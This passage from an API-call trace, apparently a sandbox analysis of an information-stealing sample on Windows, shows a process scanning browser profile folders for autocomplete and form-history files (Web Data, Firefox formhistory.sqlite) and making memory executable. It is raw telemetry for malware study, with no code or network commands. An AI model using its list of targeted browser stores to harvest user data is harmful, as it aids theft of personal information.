Data\\ata\\ṽ鵎瑰\x04") returned 21 [0163.938] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Suhba\\User Data\\\\*.*", lpFindFileData=0x1e7df7dc | out: lpFindFileData=0x1e7df7dc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0163.938] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb444, cbMultiByte=8, lpWideCharStr=0x1e7de744, cchWideChar=2047 | out: lpWideCharStr="Web Data") returned 8 [0163.939] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Suhba\\User Data\\\\\\Web Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\suhba\\user data\\web data")) returned 0xffffffff [0163.939] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df7dc | out: lpFindFileData=0x1e7df7dc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0163.939] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0163.939] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf3fb0, cbMultiByte=12, lpWideCharStr=0x1e7dea28, cchWideChar=2047 | out: lpWideCharStr="SaferBrowserutoComplete Data\\\\User Data\\ata\\ṽ鵎瑰\x04") returned 12 [0163.939] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf226c, cbMultiByte=59, lpWideCharStr=0x1e7dea24, cchWideChar=2047 | out: lpWideCharStr="%LOCALAPPDATA%\\Safer Technologies\\Secure Browser\\User Data\\") returned 59 [0163.939] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Safer Technologies\\Secure Browser\\User Data\\", lpDst=0x1ff01564, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\Safer Technologies\\Secure Browser\\User Data\\") returned 0x4d [0163.939] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f022ddc, cbMultiByte=21, lpWideCharStr=0x1e7dea2c, cchWideChar=2047 | out: lpWideCharStr="Browsers\\AutoCompletenologies\\Secure Browser\\User Data\\") returned 21 [0163.939] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Safer Technologies\\Secure Browser\\User Data\\\\*.*", lpFindFileData=0x1e7df7dc | out: lpFindFileData=0x1e7df7dc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0163.939] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb444, cbMultiByte=8, lpWideCharStr=0x1e7de744, cchWideChar=2047 | out: lpWideCharStr="Web Data") returned 8 [0163.939] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Safer Technologies\\Secure Browser\\User Data\\\\\\Web Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\safer technologies\\secure browser\\user data\\web data")) returned 0xffffffff [0163.940] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df7dc | out: lpFindFileData=0x1e7df7dc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0163.940] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0163.940] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf3fcc, cbMultiByte=7, lpWideCharStr=0x1e7dea28, cchWideChar=2047 | out: lpWideCharStr="Mustangers\\AutoCompletenologies\\Secure Browser\\User Data\\") returned 7 [0163.940] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf23b4, cbMultiByte=42, lpWideCharStr=0x1e7dea24, cchWideChar=2047 | out: lpWideCharStr="%LOCALAPPDATA%\\Rafotech\\Mustang\\User Data\\rowser\\User Data\\") returned 42 [0163.940] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Rafotech\\Mustang\\User Data\\", lpDst=0x1ff01564, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\Rafotech\\Mustang\\User Data\\") returned 0x3c [0163.940] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f022ddc, cbMultiByte=21, lpWideCharStr=0x1e7dea2c, cchWideChar=2047 | out: lpWideCharStr="Browsers\\AutoCompleteustang\\User Data\\rowser\\User Data\\") returned 21 [0163.940] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Rafotech\\Mustang\\User Data\\\\*.*", lpFindFileData=0x1e7df7dc | out: lpFindFileData=0x1e7df7dc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0163.940] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb444, cbMultiByte=8, lpWideCharStr=0x1e7de744, cchWideChar=2047 | out: lpWideCharStr="Web Data") returned 8 [0163.940] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Rafotech\\Mustang\\User Data\\\\\\Web Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\rafotech\\mustang\\user data\\web data")) returned 0xffffffff [0163.940] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df7dc | out: lpFindFileData=0x1e7df7dc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0163.940] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0163.941] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf3fe0, cbMultiByte=9, lpWideCharStr=0x1e7dea28, cchWideChar=2047 | out: lpWideCharStr="Superbirds\\AutoCompleteustang\\User Data\\rowser\\User Data\\") returned 9 [0163.941] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf24f0, cbMultiByte=35, lpWideCharStr=0x1e7dea24, cchWideChar=2047 | out: lpWideCharStr="%LOCALAPPDATA%\\Superbird\\User Data\\r Data\\rowser\\User Data\\") returned 35 [0163.941] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Superbird\\User Data\\", lpDst=0x1ff01564, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\Superbird\\User Data\\") returned 0x35 [0163.941] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f022ddc, cbMultiByte=21, lpWideCharStr=0x1e7dea2c, cchWideChar=2047 | out: lpWideCharStr="Browsers\\AutoCompleteUser Data\\r Data\\rowser\\User Data\\") returned 21 [0163.941] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Superbird\\User Data\\\\*.*", lpFindFileData=0x1e7df7dc | out: lpFindFileData=0x1e7df7dc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0163.941] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb444, cbMultiByte=8, lpWideCharStr=0x1e7de744, cchWideChar=2047 | out: lpWideCharStr="Web Data") returned 8 [0163.941] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Superbird\\User Data\\\\\\Web Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\superbird\\user data\\web data")) returned 0xffffffff [0163.941] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df7dc | out: lpFindFileData=0x1e7df7dc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0163.941] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0163.941] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceaf54, cbMultiByte=6, lpWideCharStr=0x1e7dea28, cchWideChar=2047 | out: lpWideCharStr="Chedotsers\\AutoCompleteUser Data\\r Data\\rowser\\User Data\\") returned 6 [0163.942] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf2628, cbMultiByte=32, lpWideCharStr=0x1e7dea24, cchWideChar=2047 | out: lpWideCharStr="%LOCALAPPDATA%\\Chedot\\User Data\\ta\\r Data\\rowser\\User Data\\") returned 32 [0163.942] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Chedot\\User Data\\", lpDst=0x1ff01564, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\Chedot\\User Data\\") returned 0x32 [0163.942] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f022ddc, cbMultiByte=21, lpWideCharStr=0x1e7dea2c, cchWideChar=2047 | out: lpWideCharStr="Browsers\\AutoCompleter Data\\ta\\r Data\\rowser\\User Data\\") returned 21 [0163.942] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Chedot\\User Data\\\\*.*", lpFindFileData=0x1e7df7dc | out: lpFindFileData=0x1e7df7dc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0163.942] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb444, cbMultiByte=8, lpWideCharStr=0x1e7de744, cchWideChar=2047 | out: lpWideCharStr="Web Data") returned 8 [0163.942] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Chedot\\User Data\\\\\\Web Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\chedot\\user data\\web data")) returned 0xffffffff [0163.942] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df7dc | out: lpFindFileData=0x1e7df7dc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0163.942] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0163.942] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb0f4, cbMultiByte=5, lpWideCharStr=0x1e7dea28, cchWideChar=2047 | out: lpWideCharStr="Torchwsers\\AutoCompleter Data\\ta\\r Data\\rowser\\User Data\\") returned 5 [0163.942] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf2764, cbMultiByte=31, lpWideCharStr=0x1e7dea24, cchWideChar=2047 | out: lpWideCharStr="%LOCALAPPDATA%\\Torch\\User Data\\\\ta\\r Data\\rowser\\User Data\\") returned 31 [0163.943] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Torch\\User Data\\", lpDst=0x1ff01564, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\Torch\\User Data\\") returned 0x31 [0163.943] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f022ddc, cbMultiByte=21, lpWideCharStr=0x1e7dea2c, cchWideChar=2047 | out: lpWideCharStr="Browsers\\AutoComplete Data\\\\ta\\r Data\\rowser\\User Data\\") returned 21 [0163.943] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Torch\\User Data\\\\*.*", lpFindFileData=0x1e7df7dc | out: lpFindFileData=0x1e7df7dc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0163.943] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb444, cbMultiByte=8, lpWideCharStr=0x1e7de744, cchWideChar=2047 | out: lpWideCharStr="Web Data") returned 8 [0163.943] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Torch\\User Data\\\\\\Web Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\torch\\user data\\web data")) returned 0xffffffff [0163.943] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df7dc | out: lpFindFileData=0x1e7df7dc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0163.943] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0163.943] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcead70, cbMultiByte=14, lpWideCharStr=0x1e7dea28, cchWideChar=2047 | out: lpWideCharStr="MozillaFireFoxoComplete Data\\\\ta\\r Data\\rowser\\User Data\\") returned 14 [0163.943] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcefe08, cbMultiByte=35, lpWideCharStr=0x1e7dea24, cchWideChar=2047 | out: lpWideCharStr="%appdata%\\Mozilla\\Firefox\\Profiles\\r Data\\rowser\\User Data\\") returned 35 [0163.943] ExpandEnvironmentStringsW (in: lpSrc="%appdata%\\Mozilla\\Firefox\\Profiles\\", lpDst=0x1ff01564, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\") returned 0x3c [0163.944] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f022ddc, cbMultiByte=21, lpWideCharStr=0x1e7dea2c, cchWideChar=2047 | out: lpWideCharStr="Browsers\\AutoComplete\\Profiles\\r Data\\rowser\\User Data\\") returned 21 [0163.944] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\\\*.*", lpFindFileData=0x1e7df7dc | out: lpFindFileData=0x1e7df7dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3cfa0c70, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x3cfa0c70, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x3cfa0c70, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1e258c88 [0163.944] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf0764, cbMultiByte=18, lpWideCharStr=0x1e7de764, cchWideChar=2047 | out: lpWideCharStr="formhistory.sqlite%20K") returned 18 [0163.944] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\\\.\\formhistory.sqlite" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\mozilla\\firefox\\profiles\\formhistory.sqlite")) returned 0xffffffff [0163.944] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df7dc | out: lpFindFileData=0x1e7df7dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3cfa0c70, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x3cfa0c70, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x3cfa0c70, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0163.944] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf0764, cbMultiByte=18, lpWideCharStr=0x1e7de764, cchWideChar=2047 | out: lpWideCharStr="formhistory.sqlite%20K") returned 18 [0163.944] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\\\..\\formhistory.sqlite" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\mozilla\\firefox\\formhistory.sqlite")) returned 0xffffffff [0163.944] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df7dc | out: lpFindFileData=0x1e7df7dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3cfa0c70, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0xf4500380, ftLastAccessTime.dwHighDateTime=0x1d30616, ftLastWriteTime.dwLowDateTime=0xf4500380, ftLastWriteTime.dwHighDateTime=0x1d30616, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3y2joh8o.default", cAlternateFileName="3Y2JOH~1.DEF")) returned 1 [0163.945] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf0764, cbMultiByte=18, lpWideCharStr=0x1e7de764, cchWideChar=2047 | out: lpWideCharStr="formhistory.sqlite%20K") returned 18 [0163.945] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\\\3y2joh8o.default\\formhistory.sqlite" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\mozilla\\firefox\\profiles\\3y2joh8o.default\\formhistory.sqlite")) returned 0x2020 [0163.945] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf0764, cbMultiByte=18, lpWideCharStr=0x1e7de758, cchWideChar=2047 | out: lpWideCharStr="formhistory.sqlitesqlite%20K") returned 18 [0163.945] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x410000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x410000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.946] GetTickCount () returned 0x115c294 [0163.946] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1e7df605, cbMultiByte=8, lpWideCharStr=0x1e7de5dc, cchWideChar=2047 | out: lpWideCharStr="18203284䄜榴 ") returned 8 [0163.946] SysReAllocStringLen (in: pbstr=0x1e7df754*=0x0, psz="18203284", len=0x8 | out: pbstr=0x1e7df754*="18203284") returned 1 [0163.946] QueryPerformanceCounter (in: lpPerformanceCount=0x1e7df6c8 | out: lpPerformanceCount=0x1e7df6c8*=24217917275) returned 1 [0163.966] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.966] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.967] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x406000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x406000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.967] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.967] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.968] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.968] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.968] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.969] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1e7df5c9, cbMultiByte=4, lpWideCharStr=0x1e7de5a0, cchWideChar=2047 | out: lpWideCharStr="8139ິḪṽ\x10") returned 4 [0163.969] SysReAllocStringLen (in: pbstr=0x1e7df6f8*=0x0, psz="8139", len=0x4 | out: pbstr=0x1e7df6f8*="8139") returned 1 [0163.969] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1e7df5c5, cbMultiByte=4, lpWideCharStr=0x1e7de59c, cchWideChar=2047 | out: lpWideCharStr="586239ິḪṽ\x10") returned 4 [0163.969] SysReAllocStringLen (in: pbstr=0x1e7df6f4*=0x0, psz="5862", len=0x4 | out: pbstr=0x1e7df6f4*="5862") returned 1 [0163.969] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1e7df5c1, cbMultiByte=4, lpWideCharStr=0x1e7de598, cchWideChar=2047 | out: lpWideCharStr="71776239ິḪṽ\x10") returned 4 [0163.969] SysReAllocStringLen (in: pbstr=0x1e7df6f0*=0x0, psz="7177", len=0x4 | out: pbstr=0x1e7df6f0*="7177") returned 1 [0163.969] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1e7df5bd, cbMultiByte=4, lpWideCharStr=0x1e7de594, cchWideChar=2047 | out: lpWideCharStr="9370776239ິḪṽ\x10") returned 4 [0163.969] SysReAllocStringLen (in: pbstr=0x1e7df6ec*=0x0, psz="9370", len=0x4 | out: pbstr=0x1e7df6ec*="9370") returned 1 [0163.970] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x410000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x410000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.970] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.970] SysReAllocStringLen (in: pbstr=0x1e7df75c*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\\\3y2joh8o.default\\formhistory.sqlite", len=0x5f | out: pbstr=0x1e7df75c*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\\\3y2joh8o.default\\formhistory.sqlite") returned 1 [0163.971] SysReAllocStringLen (in: pbstr=0x1e7df700*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\\\3y2joh8o.default\\formhistory.sqlite", len=0x5f | out: pbstr=0x1e7df700*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\\\3y2joh8o.default\\formhistory.sqlite") returned 1 [0163.971] SysReAllocStringLen (in: pbstr=0x1e7df75c*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\\\3y2joh8o.default\\formhistory.sqlite", psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\\\3y2joh8o.default\\formhistory.sqlite", len=0x5f | out: pbstr=0x1e7df75c*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\\\3y2joh8o.default\\formhistory.sqlite") returned 1 [0163.971] SysReAllocStringLen (in: pbstr=0x1e7df6fc*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\formhistory.sqlite", len=0x5e | out: 